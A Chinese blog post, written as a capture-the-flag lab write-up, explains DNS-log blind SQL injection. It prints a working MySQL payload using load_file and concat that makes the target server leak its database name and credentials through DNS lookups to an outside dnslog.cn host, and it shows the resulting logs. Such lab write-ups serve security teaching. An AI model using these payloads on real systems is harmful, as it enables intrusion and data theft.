




SQL注入之DNS_log注入

原创

Fenizal  于 2021-07-11 22:10:09 发布  230  收藏

分类专栏: [网络安全](#) 文章标签: [数据库 安全 sql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_47785246/article/details/118660096

版权



[网络安全](#) 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

SQL注入之DNS_log注入

这篇文章将系统的讲解, SQL注入中的DNS_log注入的原理、方法、以及靶场练习writeup。

文章目录

[SQL注入之DNS_log注入](#)

[前言](#)

[一、DNS_log注入原理](#)

[二、靶场实战](#)

[1.DNSlog 平台](#)

[2.封神台靶场](#)

[总结](#)

前言

关于SQL注入的详细内容请看我之前写的文章

提示: 以下是本篇文章正文内容, 下面案例可供参考

一、DNS_log注入原理

我们都知道，DNS解析是一种用户访问域名时，客户端向DNS发起DNS查询的到目标服务器ip地址，进而实现通信的机制，而SQL注入则是针对于动态网页，通过客户端构造SQL语句进行数据库越权限查询数据。

关于DNS解析我们要说明的是，网络上的DNS服务器有很多台，不同的域名会有明确的分工，所以当查询某一个特定的域名时，就会向特定的域名发起查询，这时在对应的DNS服务器上就会留下对应的log(即日志)，而域名本身存不存在并不重要，因为只要发起查询就会留下日志。

由此，我们很自然的想到，我们可以通过将我们感兴趣的数据段构造成某个域名，通过SQL注入漏洞使得目标服务器进行访问该域名，进而使得敏感信息以log的形式留在DNS服务器上，我们通过查看目标服务器即可得到我们想得到的信息。

二、靶场实战

1.DNSlog 平台

- 网址: <http://dnslog.cn/>



https://blog.csdn.net/weixin_47785246

点击获取域名即可获得对应一个构造好的域名，任何主机对它的访问都会在这里留下日志，点击刷新即可获得日志。

2.封神台靶场

掌控者 CONTROLLER

主頁 靶場 漏洞復現 公告 9.9元幣字 高薪課程 个人中心 | 注銷

封神台-掌握安全在線上演練靶場

◊ 首頁 靶場

- 公開課基礎演練靶場
- 正式課-從入門到進階
- 工具篇-從Kali入門學安全
- 訓練營-0基礎字滲透測試**
- Kali訓練營-玩轉工具
- AWD提升靶場
- 漏洞復現
- 擂台賽

SQL注入實戰靶場【4題】	分數	狀態	突破	詳情
3.1.1 SQL注入實戰靶場-基礎靶場1	5	正常進行	1469	已通過 >
3.1.2 SQL注入實戰靶場-基礎靶場1	5	正常進行	929	已通過 >
3.1.3 SQL注入實戰靶場-基礎靶場3	5	正常進行	858	已通過 >
3.1.4 SQL注入實戰靶場-基礎靶場4	5	正常進行	847	已通過 >

盲注-沒有回显情況下SQL注入【3題】	分數	狀態	突破	詳情
HEAD注入-另類傳參方式SQL注入【3題】	分數	狀態	突破	詳情
3.3.1 HEAD注入-靶場1	5	正常進行	194	查看詳情 >
3.3.2 HEAD注入-靶場2	5	正常進行	174	查看詳情 >
3.3.3 HEAD注入-靶場3	5	正常進行	153	查看詳情 >

漏洞組合利用靶場【3題】	分數	狀態	突破	詳情
DNS-log注入	5	正常進行	297	已通過 >
CSRF跨站偽造請求-看我如何拿下服務器	5	正常進行	34	查看詳情 >
組合拳進攻-豐富攻擊手法	0	正常進行	2	查看詳情 >

解析漏洞【1題】	分數	狀態	突破	詳情

https://blog.csdn.net/weixin_47785246

辛巴猫舍
XINBA CATTERY

猫舍介绍

PKD (DNA) / FIV / FeLV 阴性

我们是辛巴猫舍，位于中国，是CFA的注册猫舍，主要繁育的品种是异国短毛和波斯，所有猫咪均为CFA注册。

我们的猫咪来自于香港、美国、欧洲的知名猫舍，有着优秀的血统和比赛成绩。我们的血统包括了：daiandou, Pizzacata, Calvin, blueberry, Heida, Dega Bulu, Spellbound, PERFIKATZ等，每年我们的猫咪在中国的CFA比赛上均取得了优异的成绩。

我们为猫咪提供了良好的生活环境和最好的照顾，所采用的食物均来自进口天然猫粮。它们与我们如同家人一样生活，为了保证猫咪的良好健康，我们每年仅有少量的小猫出售，分为宠物、繁育、赛级。宠物级的小猫必须绝育，繁育、赛级小猫需要签订协议。

辛巴猫舍参加2017云南CFA国际名猫展成绩
辛巴猫舍繁育的异国短毛猫“dingdang”获
全场两个第一，一个第二，长毛组的第一和第五。

https://blog.csdn.net/weixin_47785246

构造语句注意事项

`id=1 and load_file(concat("///", (select database()), "URL/file"))` // 这里是让目标服务器将查询信息构造成域名并访问

说明：`load_file()`可以实现远程访问其他服务器的文件（注意文件存不存在并不重要，因为查询之后DNS服务器留下的log里才有我们想要的信息），我们可以用`concat()`构造复合格式的语句。

实操如下：

构造语句：

`id=1 and load_file(concat("///", (select database()), "e5omq2.dnslog.cn/1.txt"))` // 访问该域名下的1.txt文件

结果如图:

DNSLog.cn

e5omq2.dnslog.cn

DNS Query Record	IP Address	Created Time
maoshe.e5omq2.dnslog.cn	172.217.43.204	2021-07-11 21:47:51
maoshe.e5omq2.dnslog.cn	172.217.43.205	2021-07-11 21:47:51
maoshe.e5omq2.dnslog.cn	74.125.41.5	2021-07-11 21:47:51

Copyright © 2019 DNSLog.cn All Rights Reserved.



https://blog.csdn.net/weixin_47785246

这样我们就得到了当前的库名，即maoshe,接下来我们只需要改变查询信息即可进一步搜错我们想要的信息。

经过一波胡乱查找，发现在当前数据库之下的admin表之下有一个flag的用户，我们猜测该用户密码即为我们要找的flag，经过查询我们得到了flag如图：

DNSLog.cn

Get SubDomain Refresh Record

4b0son.dnslog.cn

DNS Query Record	IP Address	Created Time
FlaG-biubiu.4b0son.dnslog.cn	74.125.41.2	2021-07-11 22:01:22
FlaG-biubiu.4b0son.dnslog.cn	74.125.186.198	2021-07-11 22:01:22
FlaG-biubiu.4b0son.dnslog.cn	74.125.41.1	2021-07-11 22:01:22
flag-biubiu.4b0son.dnslog.cn	59.63.230.106	2021-07-11 22:01:22
flag-biubiu.4b0son.dnslog.cn	59.63.230.106	2021-07-11 22:01:22
flag.4b0son.dnslog.cn	74.125.41.5	2021-07-11 22:00:20
flag.4b0son.dnslog.cn	173.194.93.15	2021-07-11 22:00:20
flag.4b0son.dnslog.cn	173.194.171.2	2021-07-11 22:00:20
admin123.4b0son.dnslog.cn	59.63.230.105	2021-07-11 21:59:12
4b0son.dnslog.cn	218.85.157.20	2021-07-11 21:58:42

https://blog.csdn.net/weixin_47785246

掌控者 CONTROLLER

封神台·零界安全在线演练靶场

主页 靶场 漏洞发现 公告 9.9元畅学 高薪课程 个人中心 注册

首页 靶场 漏洞组合利用靶场 DNS-log注入

DNS-log注入

掌控者官方 2020-10-20 16:28:03 0(297) 0(48) 0

渗透攻防千万条，这条不行换一条，传送门

Flag

恭喜过关

Flag正确

官方推荐WriteUp

暂无推荐的WriteUp

RANK	ID	TIMES
299	Fenizal	07-11 21:13
298	Szixon	07-11 15:17
297	biubiugod	07-09 01:59
296	X666666Y	07-08 16:50
295	苍鹰之上	07-08 01:11
294	186****019	07-06 15:44
293	hth900114	07-01 23:10
292	trw	07-01 20:14
291	zzhvgood	07-01 11:44
290	wmj1027781125	06-28 10:09
289	lwj1865213	06-27 17:44
288	Ampere	06-26 22:53
287	anze992	06-26 14:04
286	RDXHUG	06-26 10:00
285	LinBAR	06-25 10:31

COPYRIGHT © 2016 - 2021 掌控者 ALL RIGHTS RESERVED 赣ICP备17009880号-4 邮箱: service@zkaq.cn

https://blog.csdn.net/weixin_47785246

总结

获取数据的方式有很多种，SQL注入是一种针对动态网页的漏洞注入，而我们常常遇到的是无显错误的SQL漏洞，当然我们也可以burp暴力破解，但是通过DNS-log注入我们就可以把盲注改成显注，之后我会更新更过的注入漏洞详解，如有不正之处欢迎大佬评论区指点。